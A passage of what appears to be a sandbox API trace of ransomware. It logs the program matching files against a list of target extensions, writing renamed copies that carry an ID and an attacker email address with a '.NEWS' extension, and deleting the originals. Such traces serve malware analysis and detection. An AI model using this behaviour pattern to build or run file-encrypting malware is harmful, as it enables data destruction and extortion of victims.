(lpString=".jpg") returned 4 [0050.074] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.218] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0050.218] lstrlenW (lpString="Office32WW.xml") returned 14 [0050.218] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.220] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=4274) returned 1 [0050.220] CloseHandle (hObject=0x20c) returned 1 [0050.220] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0050.220] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.220] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.220] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.220] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.220] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.221] GetLastError () returned 0x0 [0050.221] ReadFile (in: hFile=0x20c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0050.224] WriteFile (in: hFile=0x208, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0050.225] ReadFile (in: hFile=0x20c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.226] WriteFile (in: hFile=0x208, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0050.226] SetEndOfFile (hFile=0x208) returned 1 [0050.226] CloseHandle (hObject=0x208) returned 1 [0050.227] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.227] SetEndOfFile (hFile=0x20c) returned 1 [0050.228] CloseHandle (hObject=0x20c) returned 1 [0050.228] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0050.229] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0050.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.229] lstrlenW (lpString=".doc") returned 4 [0050.229] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.229] lstrlenW (lpString=".docx") returned 5 [0050.229] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0050.229] lstrlenW (lpString=".pdf") returned 4 [0050.229] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.229] lstrlenW (lpString=".xls") returned 4 [0050.229] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.229] lstrlenW (lpString=".xlsx") returned 5 [0050.229] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0050.229] lstrlenW (lpString=".ppt") returned 4 [0050.229] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.230] lstrlenW (lpString=".zip") returned 4 [0050.230] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.230] lstrlenW (lpString=".rar") returned 4 [0050.230] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.230] lstrlenW (lpString=".bz2") returned 4 [0050.230] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.230] lstrlenW (lpString=".7z") returned 3 [0050.230] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.230] lstrlenW (lpString=".dbf") returned 4 [0050.230] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.230] lstrlenW (lpString=".1cd") returned 4 [0050.230] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.230] lstrlenW (lpString=".jpg") returned 4 [0050.230] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.230] lstrlenW (lpString=".doc") returned 4 [0050.231] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString=".docx") returned 5 [0050.231] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0050.231] lstrlenW (lpString=".pdf") returned 4 [0050.231] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString=".xls") returned 4 [0050.231] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString=".xlsx") returned 5 [0050.231] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0050.231] lstrlenW (lpString=".ppt") returned 4 [0050.231] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.231] lstrlenW (lpString=".zip") returned 4 [0050.231] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.231] lstrlenW (lpString=".rar") returned 4 [0050.231] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString=".bz2") returned 4 [0050.231] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.231] lstrlenW (lpString=".7z") returned 3 [0050.231] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.231] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.231] lstrlenW (lpString=".dbf") returned 4 [0050.231] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.232] lstrlenW (lpString=".1cd") returned 4 [0050.232] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.232] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0050.232] lstrlenW (lpString=".jpg") returned 4 [0050.232] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.232] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0050.232] lstrlenW (lpString="Setup.xml") returned 9 [0050.232] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.232] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=20577) returned 1 [0050.233] CloseHandle (hObject=0x20c) returned 1 [0050.233] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0050.233] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.233] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.233] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.233] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0050.233] GetLastError () returned 0x0 [0050.233] ReadFile (in: hFile=0x20c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x5061, lpOverlapped=0x0) returned 1 [0050.237] WriteFile (in: hFile=0x208, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0050.239] ReadFile (in: hFile=0x20c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.239] WriteFile (in: hFile=0x208, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0050.239] SetEndOfFile (hFile=0x208) returned 1 [0050.239] CloseHandle (hObject=0x208) returned 1 [0050.240] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.240] SetEndOfFile (hFile=0x20c) returned 1 [0050.242] CloseHandle (hObject=0x20c) returned 1 [0050.242] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0050.242] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0050.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.243] lstrlenW (lpString=".doc") returned 4 [0050.243] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.243] lstrlenW (lpString=".docx") returned 5 [0050.243] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0050.243] lstrlenW (lpString=".pdf") returned 4 [0050.243] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.243] lstrlenW (lpString=".xls") returned 4 [0050.243] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.243] lstrlenW (lpString=".xlsx") returned 5 [0050.243] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0050.243] lstrlenW (lpString=".ppt") returned 4 [0050.243] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.243] lstrlenW (lpString=".zip") returned 4 [0050.243] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.243] lstrlenW (lpString=".rar") returned 4 [0050.243] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.243] lstrlenW (lpString=".bz2") returned 4 [0050.243] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.243] lstrlenW (lpString=".7z") returned 3 [0050.243] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.243] lstrlenW (lpString=".dbf") returned 4 [0050.243] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.244] lstrlenW (lpString=".1cd") returned 4 [0050.244] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.244] lstrlenW (lpString=".jpg") returned 4 [0050.244] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.244] lstrlenW (lpString=".doc") returned 4 [0050.244] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.244] lstrlenW (lpString=".docx") returned 5 [0050.244] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0050.244] lstrlenW (lpString=".pdf") returned 4 [0050.244] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.244] lstrlenW (lpString=".xls") returned 4 [0050.244] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.244] lstrlenW (lpString=".xlsx") returned 5 [0050.244] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0050.244] lstrlenW (lpString=".ppt") returned 4 [0050.244] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.245] lstrlenW (lpString=".zip") returned 4 [0050.245] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.245] lstrlenW (lpString=".rar") returned 4 [0050.245] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.245] lstrlenW (lpString=".bz2") returned 4 [0050.245] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.245] lstrlenW (lpString=".7z") returned 3 [0050.245] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.245] lstrlenW (lpString=".dbf") returned 4 [0050.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.245] lstrlenW (lpString=".1cd") returned 4 [0050.245] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0050.245] lstrlenW (lpString=".jpg") returned 4 [0050.245] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.245] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0050.246] lstrlenW (lpString="VisiorWW.xml") returned 12 [0050.246] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.593] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=8723) returned 1 [0050.593] CloseHandle (hObject=0x1cc) returned 1 [0050.593] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020 [0050.593] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0050.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0050.594] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.594] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.594] GetLastError () returned 0x0 [0050.594] ReadFile (in: hFile=0x1cc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x2213, lpOverlapped=0x0) returned 1 [0050.598] WriteFile (in: hFile=0x20c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2220, lpOverlapped=0x0) returned 1 [0050.600] ReadFile (in: hFile=0x1cc, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.600] WriteFile (in: hFile=0x20c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.600] SetEndOfFile (hFile=0x20c) returned 1 [0050.600] CloseHandle (hObject=0x20c) returned 1 [0050.602] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.602] SetEndOfFile (hFile=0x1cc) returned 1 [0050.603] CloseHandle (hObject=0x1cc) returned 1 [0050.603] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0050.604] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0050.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.604] lstrlenW (lpString=".doc") returned 4 [0050.604] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.604] lstrlenW (lpString=".docx") returned 5 [0050.604] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0050.604] lstrlenW (lpString=".pdf") returned 4 [0050.604] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.604] lstrlenW (lpString=".xls") returned 4 [0050.604] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.604] lstrlenW (lpString=".xlsx") returned 5 [0050.604] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0050.604] lstrlenW (lpString=".ppt") returned 4 [0050.604] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.605] lstrlenW (lpString=".zip") returned 4 [0050.605] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.605] lstrlenW (lpString=".rar") returned 4 [0050.605] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.605] lstrlenW (lpString=".bz2") returned 4 [0050.605] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.605] lstrlenW (lpString=".7z") returned 3 [0050.605] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.605] lstrlenW (lpString=".dbf") returned 4 [0050.605] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.605] lstrlenW (lpString=".1cd") returned 4 [0050.605] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.605] lstrlenW (lpString=".jpg") returned 4 [0050.605] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.605] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.606] lstrlenW (lpString=".doc") returned 4 [0050.606] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.606] lstrlenW (lpString=".docx") returned 5 [0050.606] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0050.606] lstrlenW (lpString=".pdf") returned 4 [0050.606] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.606] lstrlenW (lpString=".xls") returned 4 [0050.606] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.606] lstrlenW (lpString=".xlsx") returned 5 [0050.606] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0050.606] lstrlenW (lpString=".ppt") returned 4 [0050.606] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.606] lstrlenW (lpString=".zip") returned 4 [0050.606] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.606] lstrlenW (lpString=".rar") returned 4 [0050.606] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.606] lstrlenW (lpString=".bz2") returned 4 [0050.606] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.606] lstrlenW (lpString=".7z") returned 3 [0050.606] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.606] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0050.606] lstrlenW (lpString=".dbf") returned 4 [0050.606] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.606] lstrlenW (lpString="C:\\MSOCache\\All 